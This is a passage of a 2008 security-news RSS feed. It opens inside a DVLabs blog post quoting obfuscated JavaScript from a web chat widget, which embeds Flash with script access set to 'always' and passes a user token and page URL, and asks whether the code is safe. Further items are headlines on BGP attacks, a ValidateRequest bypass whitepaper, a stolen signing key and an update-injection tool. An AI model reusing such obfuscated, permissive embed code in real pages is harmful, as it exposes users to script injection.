ck=Array();var&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;domain=this.ad();if(this.cl.cd)&lt;/pre&gt;&lt;pre&gt;{this.cl.cj.bZ=this.cl.cj.bZ+this.cl.T;}if(this.cl.I)&lt;/pre&gt;&lt;pre&gt;{this.cl.cj.bZ=this.cl.cj.bZ+this.cl.D;}if(this.ba){ck.push('&amp;lt;object &lt;/pre&gt;&lt;pre&gt;classid=&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000&quot; &lt;/pre&gt;&lt;pre&gt;codebase=&quot;http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/&lt;/pre&gt;&lt;pre&gt;swflash.cab#version=7,0,0,0&quot; width=&quot;');ck.push(&quot;100%&quot;);ck.push('&quot;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;height=&quot;');ck.push(&quot;100%&quot;);ck.push('&quot; id=&quot;');ck.push&lt;/pre&gt;&lt;pre&gt;(this.cl.cj.bz);ck.push('&quot; align=&quot;middle&quot;&amp;gt;&amp;lt;param &lt;/pre&gt;&lt;pre&gt;name=&quot;allowScriptAccess&quot; value=&quot;always&quot; /&amp;gt;');ck.push('&amp;lt;param &lt;/pre&gt;&lt;pre&gt;name=&quot;movie&quot; value=&quot;');ck.push&lt;/pre&gt;&lt;pre&gt;(this.cl.cj.bP+this.cl.cj.bZ+this.cl.cj.aS);ck.push('?&lt;/pre&gt;&lt;pre&gt;ChName=');ck.push(this.df);ck.push('&amp;amp;UsrTok=');ck.push(ef);ck.push&lt;/pre&gt;&lt;pre&gt;('&amp;amp;Domain=');ck.push(domain);ck.push('&amp;amp;PgURL=');ck.push(escape&lt;/pre&gt;&lt;pre&gt;(this.eF));ck.push('&amp;amp;isDirect=');ck.push(this.cl.bv);this.bc&lt;/pre&gt;&lt;pre&gt;(ck);ck.push('&quot; /&amp;gt;');ck.push('&amp;lt;param name=&quot;quality&quot; value=&quot;high&quot; &lt;/pre&gt;&lt;pre&gt;/&amp;gt;&amp;lt;param name=&quot;bgcolor&quot; value=&quot;#ffffff&quot; /&amp;gt;');ck.push('&amp;lt;/object&amp;gt;');}&lt;/pre&gt;&lt;pre&gt;else{ck.push('&amp;lt;embed src=&quot;');ck.push&lt;/pre&gt;&lt;pre&gt;(this.cl.cj.bP+this.cl.cj.bZ+this.cl.cj.aS);ck.push('&quot; &lt;/pre&gt;&lt;pre&gt;FlashVars=&quot;');ck.push('ChName=');ck.push(this.df);ck.push&lt;/pre&gt;&lt;pre&gt;('&amp;amp;UsrTok=');ck.push(ef);ck.push('&amp;amp;Domain=');ck.push(domain);ck.&lt;/pre&gt;&lt;pre&gt;push('&amp;amp;PgURL=');ck.push(escape(this.eF));ck.push&lt;/pre&gt;&lt;pre&gt;('&amp;amp;isDirect=');ck.push(this.cl.bv);this.bc(ck);ck.push('&quot; &lt;/pre&gt;&lt;pre&gt;quality=&quot;high&quot; bgcolor=&quot;#ffffff&quot; width=&quot;');ck.push(&quot;100%&quot;);ck.push&lt;/pre&gt;&lt;pre&gt;('&quot; height=&quot;');ck.push(&quot;100%&quot;);ck.push('&quot; name=&quot;');ck.push&lt;/pre&gt;&lt;pre&gt;(this.cl.cj.bz);ck.push('&quot; align=&quot;middle&quot; allowScriptAccess=&quot;always&quot;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;swLiveConnect=&quot;true&quot; type=&quot;application/x-shockwave-flash&quot; &lt;/pre&gt;&lt;pre&gt;pluginspage=&quot;http://www.macromedia.com/go/getflashplayer&quot; /&amp;gt;');}&lt;/pre&gt;&lt;pre&gt;this.bR=ck.join('');}};function S_WC_EMBED_Creese()&lt;/pre&gt;&lt;pre&gt;{S_WC.EmbedConf.bA='0_2_REV3';LdCfg(S_WC.EmbedConf);var bB=new &lt;/pre&gt;&lt;pre&gt;S_WC.EmbedUI(S_WC.EmbedConf);bB.aH('Grey2');var bS=LdBoxCfg();if&lt;/pre&gt;&lt;pre&gt;(bS){bB.aF(bS.N,bS.V,bS.J);bB.H();}};S_WC_EMBED_Creese(); &lt;/pre&gt;&lt;br /&gt;Lots of interesting tricks going on here. This software seems to be a P2P chat program that allows you to chat with people that are currently viewing the same web page as you are. I found it used on the &lt;a href=&quot;http://ent.sina.com.cn/f/y/06supergirl/index.shtml&quot;&gt;Super Girl&lt;/a&gt; TV show website. Seems rather innocent, but until you understand exactly what the above code does, would you use it? Is it merely obfuscation? These are the types of questions that filter writers at DVLabs have to answer on a case-by-case basis, and questions that I'll be spending some time on for the above example. So, back to work!&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/dvlabsblog/~4/378283713&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Fri, 29 Aug 2008 17:55:21 +0000</pubDate>
</item>
<item>
	<title>WebApp - CGISecurity.com: Cross-site hacks and the art of self defence</title>
	<guid>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080806&amp;ref=rss</guid>
	<link>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080806&amp;ref=rss</link>
	<pubDate>Fri, 29 Aug 2008 17:00:06 +0000</pubDate>
</item>
<item>
	<title>Blogs - Schneier On Security: A British Bank Bans a Man's Password</title>
	<guid>http://www.schneier.com/blog/archives/2008/08/a_british_bank.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/08/a_british_bank.html</link>
	<description>Weird story. Mr Jetley said he first realised his security password had been changed when a call centre staff member told him his code word did not match with the one on the computer. &quot;I thought it was actually quite a funny response,&quot; he said. &quot;But what really incensed me was when I was told I could not change it...&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=iZQlIK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=iZQlIK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Fri, 29 Aug 2008 16:44:04 +0000</pubDate>
</item>
<item>
	<title>WebApp - CGISecurity.com: Redhat/Fedora Servers compromised, package signing key stolen, rogue packages possibly signed</title>
	<guid>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080805&amp;ref=rss</guid>
	<link>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080805&amp;ref=rss</link>
	<pubDate>Fri, 29 Aug 2008 16:00:07 +0000</pubDate>
</item>
<item>
	<title>WebApp - CGISecurity.com: Whitepaper: Bypassing ASP .NET "ValidateRequest" for Script Injection Attacks</title>
	<guid>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080804&amp;ref=rss</guid>
	<link>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080804&amp;ref=rss</link>
	<pubDate>Fri, 29 Aug 2008 16:00:07 +0000</pubDate>
</item>
<item>
	<title>Blogs - Schneier On Security: Border Gateway Protocol (BGP) Attacks</title>
	<guid>http://www.schneier.com/blog/archives/2008/08/border_gateway.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/08/border_gateway.html</link>
	<description>This is serious stuff. (Kim Zetter's posts on the topic are excellent; read them.) It's a man-in-the-middle attack. &quot;The Internet's Biggest Security Hole&quot; (the title of that first link) has been that interior relays have always been trusted even though they are not trustworthy....&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=p99YjK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=p99YjK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Fri, 29 Aug 2008 12:40:47 +0000</pubDate>
</item>
<item>
	<title>Blogs - Darknet: ISR-evilgrade - Inject Updates to Exploit Software</title>
	<guid>http://www.darknet.org.uk/?p=988</guid>
	<